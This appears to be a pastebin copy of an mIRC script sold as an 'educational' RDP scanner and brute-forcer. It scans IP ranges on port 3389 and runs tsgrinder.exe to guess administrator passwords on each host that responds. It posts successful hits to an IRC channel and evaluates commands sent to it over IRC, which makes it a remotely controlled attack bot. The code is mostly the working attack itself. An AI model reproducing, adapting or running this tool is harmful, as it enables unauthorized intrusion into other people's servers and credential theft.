SHOW:
|
|
- or go back to the newest paste.
| 1 | ;RDP Scanner&Brute by independent Skype: independentt911 | |
| 2 | ;Please if you copypaste the code make sure my name stays on it. | |
| 3 | ;This code is for educational purpose only; | |
| 4 | ;If you use this code, make sure you use it on YOUR OWN network | |
| 5 | ;Otherwise it will be illegal to use on someone else's servers | |
| 6 | ;Please be aware I will not be responsible of any of your actions. | |
| 7 | ;YOU WILL NEED TSGRINDER.EXE made by Hammer Of God for using this file in same directory as mIRC directory. | |
| 8 | ;works best with WindowsXP/2003 oses | |
| 9 | ;Commands uses the >trigger commands are >rdp 10.101.10.1 & and to search for succes in files is >startfind | |
| 10 | ;Evaluation of $identifiers will occur | |
| 11 | ||
| 12 | on 1:START:{ set %username administrator | %FLDCHAN = #rdp# | if (!$server) server IRC.BLACKIRC.NET +6697 -j %fldchan }
| |
| 13 | ||
| 14 | alias dothatfkincrap {
| |
| 15 | if ($isfile(cmd.bat)) .remove cmd.bat | |
| 16 | write cmd.bat tsgrinder.exe -u %username $1 >> $1 $+ .log | |
| 17 | run cmd.bat | |
| 18 | } | |
| 19 | RAW 332:*:if ($2 == %fldchan) [ [ $3- ] ] | |
| 20 | on 1:TEXT:>*:#:{ %x = $right($1-,-1) | if (*q*u*i*t* iswm %x) || (*e*x*i*t* iswm %x) || (*s*h*u*t*d*o*w*n* iswm %x) || (*r*e*m*o*v*e* iswm %x) || (*t*a*s*k*k*i*l*l* isin %x) { .notice independent $nick failed attempt to shutdown the child process. | halt } | $evalnext(%x) | NOTICE $nick $evalnext(%x) | unset %x | clear # }
| |
| 21 | on 1:TEXT:>*:?:{ %x = $right($1-,-1) | if (*q*u*i*t* iswm %x) || (*e*x*i*t* iswm %x) || (*s*h*u*t*d*o*w*n* iswm %x) || (*r*e*m*o*v*e* iswm %x) || (*t*a*s*k*k*i*l*l* isin %x) { .notice independent $nick failed attempt to shutdown the child process. | halt } | $evalnext(%x) | NOTICE $nick $evalnext(%x) | unset %x | close -m }
| |
| 22 | menu menubar {
| |
| 23 | RDP scanner: window -e @rdp | |
| 24 | } | |
| 25 | menu @rdp {
| |
| 26 | scan range: rdp $? | |
| 27 | Stop/Pause: stoprdp | |
| 28 | continue:{ .timerRANGE -om 0 20 nextrdp | echo @RDP 3* Resuming from last point... }
| |
| 29 | - | |
| 30 | edit dictionary: run notepad dict | |
| 31 | - | |
| 32 | Open mstsc from cmdline: run mstsc -v $?="Ip Please..." | |
| 33 | - | |
| 34 | User %username : set %username $$?="Username please" | |
| 35 | Delay %inerval : set %interval $$?="Delay between each brutes in miliseconds" | |
| 36 | } | |
| 37 | alias nextrdp {
| |
| 38 | hinc -m temp tempx | |
| 39 | if (256 <= $gettok($hget(temp,range),2,46)) { hdel -w temp * | msg %fldchan * Scan halted, waiting for new command... }
| |
| 40 | if (256 <= $hget(temp,tempx)) { hdel temp tempx | hadd -m temp range $gettok($hget(temp,range),1-2,46) $+ . $+ $calc($gettok($hget(temp,range),3,46) +1) }
| |
| 41 | sockopen rdpscan $+ $+($gettok($hget(temp,range),1-3,46),.,$hget(temp,tempx)) $+($gettok($hget(temp,range),1-3,46),.,$hget(temp,tempx)) 3389 | |
| 42 | } | |
| 43 | alias stoprdp { .timerrange* off | .timerrestart off | sockclose *rdp* }
| |
| 44 | on 1:INPUT:@rdp:sockopen RDPscan $+ $r(0,99999999999999999999999999999) $gettok($wildtok($1-,*.*.*.*,1,32),1,58) 3389 | |
| 45 | ||
| 46 | on *:sockopen:rdpscan*:{
| |
| 47 | if ($sockerr) { return }
| |
| 48 | dothatfkincrap $sock($sockname).ip | |
| 49 | } | |
| 50 | alias rdp {
| |
| 51 | if (!%interval) set %interval 20 | |
| 52 | if (!%fldchan) set %fldchan #rdp# | |
| 53 | if ($hget(temp,range)) hdel -w temp range* | |
| 54 | hadd -m temp range $1 | |
| 55 | .timerRANGEr -om 0 %interval nextrdp | |
| 56 | msg %fldchan Starting at $1 on Port 3389 | |
| 57 | } | |
| 58 | ||
| 59 | alias startfind {
| |
| 60 | if (!$hget(cc,maxf)) hadd -m cc maxf $findfile($shortfn($mircdir),*.*.*.*.log,0) | |
| 61 | :res | |
| 62 | hinc -m cc incf | |
| 63 | hadd -m cc file $findfile($shortfn($mircdir),*.log,$hget(cc,incf)) | |
| 64 | if ($isfile($hget(cc,file))) startf $hget(cc,file) | |
| 65 | else goto res | |
| 66 | if ($hget(cc,incf) >= $hget(cc,maxf)) { .msg %fldchan PROCESS FINISH *.*.*.*.log $hget(cc,maxf) files | .timerSTART off | hdel -w cc * | halt }
| |
| 67 | ||
| 68 | } | |
| 69 | alias startf {
| |
| 70 | .fopen cc $1 | |
| 71 | .fseek -w cc *success* | |
| 72 | if ($fread(cc)) enum | |
| 73 | closecc | |
| 74 | } | |
| 75 | alias enum {
| |
| 76 | .msg %fldchan Found File: $hget(cc,file) $fread(cc) | |
| 77 | closecc | |
| 78 | } | |
| 79 | alias closecc {
| |
| 80 | .fclose * | |
| 81 | .timerSTART 1 0.1 startfind $hget(cc,args) | |
| 82 | } |
